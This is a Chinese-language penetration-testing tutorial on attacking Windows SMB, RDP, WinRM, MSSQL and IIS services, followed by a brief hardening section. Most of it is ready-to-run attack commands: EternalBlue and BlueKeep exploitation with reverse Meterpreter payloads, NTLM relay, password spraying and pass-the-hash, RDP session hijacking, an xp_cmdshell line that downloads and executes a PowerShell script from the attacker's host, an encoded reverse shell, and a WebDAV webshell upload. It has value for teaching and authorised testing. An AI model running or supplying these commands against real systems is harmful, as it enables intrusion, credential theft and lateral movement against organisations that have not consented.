Skip to content

Windows 服务与端口攻击面 — SMB、RDP、WinRM 利用

Published:
11 min read

Windows 系统运行着众多网络服务,每一个开放的端口都可能成为攻击者的突破口。在上一篇完成信息收集之后,本文将深入讲解 Windows 环境中最常见的服务攻击面,包括 SMB、RDP、WinRM、MSSQL 和 IIS,从漏洞原理到实战利用,再到对应的安全加固措施,构建完整的攻击与防御知识框架。

SMB 协议攻击

SMB(Server Message Block)协议是 Windows 网络的核心组成部分,负责文件共享、打印服务和进程间通信。由于其广泛部署和协议复杂性,SMB 历来是 Windows 渗透测试中最重要的攻击向量。

MS17-010 永恒之蓝(EternalBlue)

MS17-010 是 2017 年由 Shadow Brokers 泄露的 NSA 武器库中最具破坏力的漏洞之一。该漏洞存在于 SMBv1 协议的事务处理中,允许攻击者通过发送特制数据包实现远程代码执行。

# 第一步:确认目标是否存在 MS17-010 漏洞
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100

# 第二步:使用 Metasploit 利用漏洞
msfconsole -q

# 在 msf 中:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.100
set LHOST 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# 如果成功,将获得 SYSTEM 权限的 Meterpreter 会话
# meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM

对于不使用 Metasploit 的场景,可以使用独立的漏洞利用脚本:

# 使用 AutoBlue 脚本
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010

# 生成 shellcode
./shell_prep.sh
# 选择反向 shell 类型和参数

# 执行利用
python3 eternalblue_exploit7.py 10.10.10.100 shellcode/sc_x64.bin

SMB 签名绕过与中继攻击

当 Windows 主机未强制启用 SMB 签名时,攻击者可以执行 NTLM 中继攻击,将截获的认证凭据转发到其他主机,从而实现无需密码的横向移动。

# 第一步:检查网络中 SMB 签名未强制的主机
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# 或使用 Nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24
# 关注 "Message signing enabled but not required" 的主机

# 第二步:关闭攻击机的 SMB 服务(避免端口冲突)
sudo systemctl stop smbd

# 第三步:启动 ntlmrelayx 监听
# 中继到目标并尝试获取 SAM 数据库
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support

# 中继并执行命令
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami /all"

# 中继到 LDAP(在域环境中创建机器账户)
sudo impacket-ntlmrelayx -t ldap://10.10.10.100 --add-computer

# 第四步:触发认证(使用 Responder 捕获 NTLM 认证)
sudo responder -I eth0 -dwPv

# 或使用 mitm6 进行 IPv6 DNS 欺骗触发认证
sudo mitm6 -d lab.local

SMB 密码攻击

# 使用 CrackMapExec 进行密码喷射
crackmapexec smb 10.10.10.100 -u users.txt -p 'Spring2024!' --continue-on-success

# 使用 Hydra 暴力破解 SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.100

# 使用已获取的 NTLM Hash 进行 Pass-the-Hash
crackmapexec smb 10.10.10.100 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'

# 使用 smbmap 检查共享权限
smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!'

# 递归列出共享中的文件
smbmap -H 10.10.10.100 -u 'testuser' -p 'Welcome1!' -R

RDP 攻击

远程桌面协议(RDP,端口 3389)是 Windows 系统最常用的远程管理手段,也是暴力破解和漏洞利用的重点目标。

暴力破解

# 使用 Hydra 暴力破解 RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.100 -t 4 -V

# 使用 crowbar(专为 RDP 设计的爆破工具)
crowbar -b rdp -s 10.10.10.100/32 -U users.txt -C passwords.txt -n 1

# 使用 Ncrack
ncrack -vv --user administrator -P passwords.txt rdp://10.10.10.100

# RDP 密码喷射(CrackMapExec)
crackmapexec rdp 10.10.10.0/24 -u 'testuser' -p 'Welcome1!'

BlueKeep(CVE-2019-0708)

BlueKeep 是 RDP 协议中的高危远程代码执行漏洞,影响 Windows 7、Windows Server 2008/2008 R2 等系统,无需认证即可利用。

# 漏洞检测
nmap --script rdp-vuln-ms12-020 -p 3389 10.10.10.100

# 使用 Metasploit 检测
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 10.10.10.100
run

# Metasploit 利用(注意:可能导致蓝屏,慎用)
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 10.10.10.100
set LHOST 10.10.10.5
set TARGET 2  # 需要根据目标系统选择正确的 target
run

RDP 会话劫持

当已获得 SYSTEM 权限时,可以劫持其他用户的 RDP 会话而无需其密码:

# 查看当前会话
query user

# 劫持目标会话(需要 SYSTEM 权限)
# 例如目标会话 ID 为 2
tscon 2 /dest:console

# 通过创建服务来以 SYSTEM 身份执行
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"
net start sesshijack

WinRM 利用

WinRM(Windows Remote Management,端口 5985/5986)是 Windows 的远程管理框架,提供了强大的远程命令执行能力。

evil-winrm

evil-winrm 是专为渗透测试设计的 WinRM 客户端,功能远超普通 WinRM 连接。

# 基本连接(用户名密码)
evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!'

# 使用 NTLM Hash 连接(Pass-the-Hash)
evil-winrm -i 10.10.10.100 -u 'administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0'

# 加载 PowerShell 脚本
evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -s /opt/scripts/

# 上传/下载文件
# PS > upload /tmp/winPEASx64.exe C:\Temp\winPEASx64.exe
# PS > download C:\Users\testuser\Desktop\secret.txt /tmp/secret.txt

# 使用 SSL 连接(端口 5986)
evil-winrm -i 10.10.10.100 -u 'testuser' -p 'Welcome1!' -S
# CrackMapExec 验证 WinRM 凭据
crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!'

# 通过 WinRM 执行命令
crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -x "whoami /priv"

# 执行 PowerShell 命令
crackmapexec winrm 10.10.10.100 -u 'testuser' -p 'Welcome1!' -X "Get-Process"

MSSQL 攻击

Microsoft SQL Server(端口 1433)在企业环境中广泛部署,其强大的存储过程机制使其成为获取系统命令执行的重要途径。

# 使用 impacket-mssqlclient 连接
impacket-mssqlclient 'testuser:Welcome1!@10.10.10.100' -windows-auth

# 使用 sqsh 连接
sqsh -S 10.10.10.100 -U sa -P 'DBpassword1!'

# 检查当前权限
# SQL> SELECT SYSTEM_USER;
# SQL> SELECT IS_SRVROLEMEMBER('sysadmin');

# 启用 xp_cmdshell(需要 sysadmin 权限)
# SQL> ENABLE_XP_CMDSHELL
# 或手动启用:
# SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
# SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# 通过 xp_cmdshell 执行系统命令
# SQL> xp_cmdshell whoami
# SQL> xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')"

# 读取文件
# SQL> SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;

# MSSQL 密码暴力破解
hydra -L users.txt -P passwords.txt mssql://10.10.10.100
crackmapexec mssql 10.10.10.100 -u sa -p passwords.txt

MSSQL 提权路径

# 使用 impacket-mssqlclient 的交互式 shell
impacket-mssqlclient 'sa:DBpassword1!@10.10.10.100'

# 尝试模拟其他用户
# SQL> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# SQL> EXECUTE AS LOGIN = 'sa';

# 通过 MSSQL 获取反向 Shell
# SQL> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdA..."

IIS 漏洞利用

IIS(Internet Information Services)是 Windows 自带的 Web 服务器,常见的攻击面包括:

# IIS 版本探测
curl -I http://10.10.10.100
nmap -sV -p 80,443 --script http-server-header 10.10.10.100

# 目录枚举
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,html,txt

# IIS 短文件名枚举(波浪号漏洞)
python3 iis_shortname_scanner.py http://10.10.10.100/

# WebDAV 探测与利用
davtest -url http://10.10.10.100/webdav/
cadaver http://10.10.10.100/webdav/

# 上传 webshell(如果 WebDAV 允许写入)
curl -X PUT http://10.10.10.100/webdav/cmd.aspx -d @cmd.aspx

安全加固建议

针对上述各服务的攻击面,建议采取以下防御措施:

SMB 加固

# 禁用 SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

# 强制 SMB 签名
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

# 限制匿名枚举
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictAnonymous" -Value 2

RDP 加固

# 启用网络级认证(NLA)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1

# 限制 RDP 访问用户组
# 仅允许特定组通过 RDP 连接
net localgroup "Remote Desktop Users" /add "RDP-AllowedUsers"

# 配置账户锁定策略
net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:30

WinRM 加固

# 仅允许 HTTPS 连接
winrm set winrm/config/service '@{AllowUnencrypted="false"}'

# 限制 WinRM 访问的 IP 范围
Set-Item WSMan:\localhost\Service\IPv4Filter -Value "10.10.10.0/24"

MSSQL 加固

总结

Windows 服务的攻击面广泛且深入,每一个开放的端口都可能成为攻击链的起点。本文涵盖了五大核心服务的攻击技术:

在实际渗透测试中,这些服务的攻击往往是相互关联的:通过 SMB 枚举获取的凭据可以用于 RDP 登录,通过 MSSQL 获取的命令执行可以横向移动到域控制器。理解每个服务的攻击原理和防御手段,才能在攻防两端都做到游刃有余。

下一篇文章将进入 Windows 提权阶段,探讨如何从普通用户权限提升到 SYSTEM 或管理员权限。